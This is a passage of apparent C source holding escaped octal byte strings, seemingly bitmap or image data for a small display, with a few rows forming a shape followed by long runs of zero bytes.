\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\177\\377\\377\\376\\370\\360\\360\\340\"\n  \"\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\377\\377\\177\\37\\17\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0~~~~~~~~~\\177\\177\\177\\177\\77\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0`\\360\\370\\370\\374\\374\\376\\376~~~~\\376\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\340\\360\\360\\370\\374\"\n  \"\\376\\374|\\70\\0\\0\\1\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  